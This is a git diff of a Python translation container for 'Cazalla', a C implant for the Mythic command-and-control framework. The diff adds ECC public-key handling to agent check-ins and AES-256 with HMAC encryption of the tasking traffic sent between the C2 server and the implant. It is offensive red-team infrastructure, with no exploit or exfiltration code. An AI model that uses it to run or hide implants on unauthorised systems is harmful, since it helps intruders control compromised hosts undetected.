||||
if server_pubkey:
|
||||
key_bytes = server_pubkey.encode()
|
||||
data += len(key_bytes).to_bytes(4, "big")
|
||||
data += key_bytes
|
||||
print(f"[DEBUG] Añadida server_pubkey ({len(key_bytes)} bytes)")
|
||||
else:
|
||||
data += (0).to_bytes(4, "big")
|
||||
print("[DEBUG] Sin server_pubkey en checkin")
|
||||
|
||||
return bytes(data)
|
||||
|
||||
|
||||
def responsePosting(responses):
|
||||
data = len(responses).to_bytes(4, "big")
|
||||
|
||||
@@ -39,7 +39,7 @@ def checkIn(data):
|
||||
# Retrieve Username
|
||||
username, data = getBytesWithSize(data)
|
||||
|
||||
# Retrieve Domaine
|
||||
# Retrieve Domain
|
||||
domain, data = getBytesWithSize(data)
|
||||
|
||||
# Retrieve PID
|
||||
@@ -52,6 +52,15 @@ def checkIn(data):
|
||||
# Retrieve External IP
|
||||
externalIP, data = getBytesWithSize(data)
|
||||
|
||||
# === Retrieve ECC Public Key if present ===
|
||||
pub_key = None
|
||||
try:
|
||||
pub_key, data = getBytesWithSize(data)
|
||||
pub_key = pub_key.decode() if pub_key else None
|
||||
print(f"[DEBUG] Clave pública ECC recibida: {pub_key[:60]}...") # truncada
|
||||
except Exception as e:
|
||||
print(f"[DEBUG] No se recibió clave pública ECC: {e}")
|
||||
|
||||
dataJson = {
|
||||
"action": "checkin",
|
||||
"ips": IPs,
|
||||
@@ -66,6 +75,9 @@ def checkIn(data):
|
||||
"externalIP": externalIP.decode('cp850'),
|
||||
}
|
||||
|
||||
if pub_key:
|
||||
dataJson["pub_key"] = pub_key
|
||||
|
||||
return dataJson
|
||||
|
||||
|
||||
|
||||
@@ -2,31 +2,137 @@ import json
|
||||
import base64
|
||||
import binascii
|
||||
import os
|
||||
import hmac
|
||||
import hashlib
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import pad, unpad
|
||||
|
||||
from translator.utils import *
|
||||
from translator.commands_from_c2 import *
|
||||
from translator.commands_from_implant import *
|
||||
|
||||
from mythic_container.TranslationBase import *
|
||||
from mythic_container.TranslationBase import (
|
||||
TranslationContainer,
|
||||
TrGenerateEncryptionKeysMessage,
|
||||
TrGenerateEncryptionKeysMessageResponse,
|
||||
TrMythicC2ToCustomMessageFormatMessage,
|
||||
TrMythicC2ToCustomMessageFormatMessageResponse,
|
||||
TrCustomMessageToMythicC2FormatMessage,
|
||||
TrCustomMessageToMythicC2FormatMessageResponse
|
||||
)
|
||||
|
||||
# ✅ Añade esta definición manual para compatibilidad
|
||||
from enum import Enum
|
||||
|
||||
class TranslationContainerEncryptionType(Enum):
|
||||
NoneType = 0
|
||||
MythicEncrypts = 1
|
||||
|
||||
|
||||
|
||||
class cazalla_translator(TranslationContainer):
|
||||
name = "cazalla_translator"
|
||||
description = "Python translation service for the C agent Cazalla"
|
||||
author = "OFSTeam"
|
||||
|
||||
# Variables de clase para configuración de cifrado
|
||||
_crypto_type = "none"
|
||||
_enc_key = None
|
||||
|
||||
def aes256_encrypt(self, plaintext: bytes) -> bytes:
|
||||
"""
|
||||
Encrypt data using AES-256-CBC with HMAC-SHA256.
|
||||
Format matches agent: [IV(16 bytes)][Ciphertext(...)][HMAC(32 bytes)]
|
||||
"""
|
||||
if not self._enc_key:
|
||||
print("[TRANSLATOR] ERROR: No encryption key available!")
|
||||
return plaintext
|
||||
|
||||
# Generate random IV
|
||||
iv = os.urandom(16)
|
||||
|
||||
# Create cipher
|
||||
cipher = AES.new(self._enc_key, AES.MODE_CBC, iv)
|
||||
|
||||
# Pad and encrypt
|
||||
padded = pad(plaintext, AES.block_size)
|
||||
ciphertext = cipher.encrypt(padded)
|
||||
|
||||
# Create HMAC over (IV + ciphertext)
|
||||
hmac_msg = iv + ciphertext
|
||||
mac = hmac.new(self._enc_key, hmac_msg, hashlib.sha256).digest()
|
||||
|
||||
# Return: [IV(16)][Ciphertext][HMAC(32)] - matches agent format
|
||||
return iv + ciphertext + mac
|
||||
|
||||
def aes256_decrypt(self, ciphertext: bytes) -> bytes:
|
||||
"""
|
||||
Decrypt data using AES-256-CBC with HMAC-SHA256 validation.
|
||||
Format matches agent: [IV(16 bytes)][Ciphertext(...)][HMAC(32 bytes)]
|
||||
"""
|
||||
if not self._enc_key:
|
||||
print("[TRANSLATOR] ERROR: No encryption key available!")
|
||||
return ciphertext
|
||||
|
||||
if len(ciphertext) < 48: # Minimum: 16 (IV) + 16 (min ciphertext) + 32 (HMAC)
|
||||
print(f"[TRANSLATOR] ERROR: Ciphertext too short! (length: {len(ciphertext)})")
|
||||
return ciphertext
|
||||
|
||||
# Extract IV, encrypted data, and HMAC (agent format: [IV][Ciphertext][HMAC])
|
||||
iv = ciphertext[:16]
|
||||
recv_mac = ciphertext[-32:] # HMAC at the end
|
||||
encrypted_data = ciphertext[16:-32] # Ciphertext in the middle
|
||||
|
||||
if len(encrypted_data) < 16:
|
||||
print(f"[TRANSLATOR] ERROR: Encrypted data too short! (length: {len(encrypted_data)})")
|
||||
return ciphertext
|
||||
|
||||
# Verify HMAC over (IV + ciphertext)
|
||||
hmac_msg = iv + encrypted_data
|
||||
expected_mac = hmac.new(self._enc_key, hmac_msg, hashlib.sha256).digest()
|
||||
|
||||
if not hmac.compare_digest(recv_mac, expected_mac):
|
||||
print("[TRANSLATOR] ERROR: HMAC verification failed!")
|
||||
print(f"[TRANSLATOR] Expected: {binascii.hexlify(expected_mac).decode()}")
|
||||
print(f"[TRANSLATOR] Received: {binascii.hexlify(recv_mac).decode()}")
|
||||
raise ValueError("HMAC verification failed")
|
||||
|
||||
# Decrypt
|
||||
cipher = AES.new(self._enc_key, AES.MODE_CBC, iv)
|
||||
padded = cipher.decrypt(encrypted_data)
|
||||
|
||||
# Unpad and return
|
||||
try:
|
||||
return unpad(padded, AES.block_size)
|
||||
except ValueError as e:
|
||||
print(f"[TRANSLATOR] ERROR: Padding error: {e}")
|
||||
raise
|
||||
|
||||
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
|
||||
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
|
||||
print(f"[TRANSLATOR] generate_keys called with {len(inputMsg.keys)} key(s)")
|
||||
|
||||
if len(inputMsg.keys) > 0:
|
||||
# Store the encryption key
|
||||
self._enc_key = inputMsg.keys[0]
|
||||
print(f"[TRANSLATOR] Stored encryption key (length: {len(self._enc_key)})")
|
||||
else:
|
||||
print("[TRANSLATOR] No encryption keys provided")
|
||||
self._enc_key = None
|
||||
|
||||
response.DecryptionKey = b""
|
||||
response.EncryptionKey = b""
|
||||
return response
|
||||
|
||||
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
|
||||
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
|
||||
print("[TRANSLATOR] translate_to_c2_format called (Mythic → Agent)")
|
||||
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
|
||||
|
||||
if inputMsg.Message["action"] == "checkin":
|
||||
print("Response CHECKIN")
|
||||
response.Message = responseCheckin(inputMsg.Message["id"])
|
||||
server_pubkey = inputMsg.Message.get("server_key", "")
|
||||
response.Message = responseCheckin(inputMsg.Message["id"], server_pubkey)
|
||||
|
||||
elif inputMsg.Message["action"] == "get_tasking":
|
||||
print("Response TASKING")
|
||||
@@ -94,6 +200,18 @@ class cazalla_translator(TranslationContainer):
|
||||
}]
|
||||
response.Message = responseTasking(tasks)
|
||||
|
||||
# Apply encryption if needed (before sending to agent)
|
||||
if self._crypto_type == "aes256_hmac" and self._enc_key:
|
||||
print("[TRANSLATOR] Applying AES256-HMAC encryption before sending to agent")
|
||||
print(f"[TRANSLATOR] Plaintext message length: {len(response.Message)}")
|
||||
try:
|
||||
response.Message = self.aes256_encrypt(response.Message)
|
||||
print(f"[TRANSLATOR] Encrypted message length: {len(response.Message)}")
|
||||
except Exception as e:
|
||||
print(f"[TRANSLATOR] Encryption failed: {e}")
|
||||
# Continue without encryption if it fails
|
||||
pass
|
||||
|
||||
return response
|
||||
|
||||
|
||||
@@ -153,10 +271,28 @@ class cazalla_translator(TranslationContainer):
|
||||
|
||||
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
||||
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
||||
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
|
||||
data = inputMsg.Message
|
||||
print("[TRANSLATOR] translate_from_c2_format called (Agent → Mythic)")
|
||||
print(f"[TRANSLATOR] Received message length: {len(inputMsg.Message)} bytes")
|
||||
|
||||
# Extraer bloque SOCKS si existe (después del primer byte de comando)
|
||||
# Decrypt if encryption is enabled (agent encrypts before sending)
|
||||
data = inputMsg.Message
|
||||
if self._crypto_type == "aes256_hmac" and self._enc_key:
|
||||
print("[TRANSLATOR] Decrypting message from agent...")
|
||||
print(f"[TRANSLATOR] Encrypted message (hex): {binascii.hexlify(data[:100]).decode()}...")
|
||||
try:
|
||||
data = self.aes256_decrypt(data)
|
||||
print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
|
||||
print(f"[TRANSLATOR] Decrypted message (hex): {binascii.hexlify(data[:100]).decode()}...")
|
||||
except Exception as e:
|
||||
print(f"[TRANSLATOR] ERROR: Decryption failed: {e}")
|
||||
response.Success = False
|
||||
response.Error = f"Decryption failed: {str(e)}"
|
||||
return response
|
||||
else:
|
||||
print("IMPLANT --> C2 : " + binascii.hexlify(data).decode('cp850'))
|
||||
|
||||
# Extract SOCKS block if exists (after first command byte)
|
||||
# Note: Now data is plaintext (decrypted if encryption was used)
|
||||
clean_data, socks_array = self.extract_socks_block(data[1:])
|
||||
|
||||
if data[0] == commands["checkin"]["hex_code"]:
|
||||
@@ -190,4 +326,62 @@ class cazalla_translator(TranslationContainer):
|
||||
print("STOP SOCKS")
|
||||
response.Message = stopSocks(clean_data)
|
||||
|
||||
# Note: response.Message is a dict when using translation containers
|
||||
# The HTTP profile will handle the actual byte encryption on the wire
|
||||
# We don't need to encrypt here since the translator returns dict structures
|
||||
# that Mythic will then encode and the HTTP profile will handle encryption
|
||||
|
||||
return response
|
||||
|
||||
def get_encryption_type(self, build_parameters: dict) -> TranslationContainerEncryptionType:
|
||||
"""
|
||||
Permite a Mythic saber si el canal es cifrado o no (compatible con mythic_encrypts=True).
|
||||
Cuando crypto_type=aes256_hmac, el translator maneja el cifrado.
|
||||
El agente cifra los mensajes antes de enviarlos, el translator los descifra.
|
||||
"""
|
||||
crypto = None
|
||||
enc_key_b64 = None
|
||||
|
||||
# Extract crypto_type and enc_key from AESPSK dict (same as builder)
|
||||
for key, val in build_parameters.items():
|
||||
if isinstance(val, dict):
|
||||
if key == "AESPSK" or key == "aespsk":
|
||||
# Extract crypto_type from 'value' field
|
||||
if 'value' in val:
|
||||
crypto = val['value'].lower()
|
||||
print(f"[TRANSLATOR] Found crypto_type in AESPSK['value']: {crypto}")
|
||||
# Extract enc_key
|
||||
if 'enc_key' in val:
|
||||
enc_key_b64 = val['enc_key']
|
||||
elif 'enc_key' in val:
|
||||
enc_key_b64 = val['enc_key']
|
||||
|
||||
# Fallback: check for direct crypto_type parameter
|
||||
if not crypto:
|
||||
crypto = build_parameters.get("crypto_type", "").lower()
|
||||
|
||||
print(f"[TRANSLATOR] get_encryption_type: crypto_type={crypto}, enc_key={'present' if enc_key_b64 else 'missing'}")
|
||||
|
||||
# Store crypto_type for use in translate methods
|
||||
self._crypto_type = crypto
|
||||
|
||||
# Extract and decode enc_key
|
||||
if enc_key_b64:
|
||||
try:
|
||||
self._enc_key = base64.b64decode(enc_key_b64) if enc_key_b64 else None
|
||||
if self._enc_key:
|
||||
print(f"[TRANSLATOR] Extracted enc_key (length: {len(self._enc_key)})")
|
||||
else:
|
||||
print("[TRANSLATOR] enc_key is empty")
|
||||
except Exception as e:
|
||||
print(f"[TRANSLATOR] ERROR extracting enc_key: {e}")
|
||||
self._enc_key = None
|
||||
else:
|
||||
self._enc_key = None
|
||||
|
||||
if crypto == "none" or not crypto:
|
||||
print("[TRANSLATOR] Returning NoneType")
|
||||
return TranslationContainerEncryptionType.NoneType
|
||||
|
||||
print("[TRANSLATOR] Returning MythicEncrypts")
|
||||
return TranslationContainerEncryptionType.MythicEncrypts
|
||||
Reference in New Issue
Block a user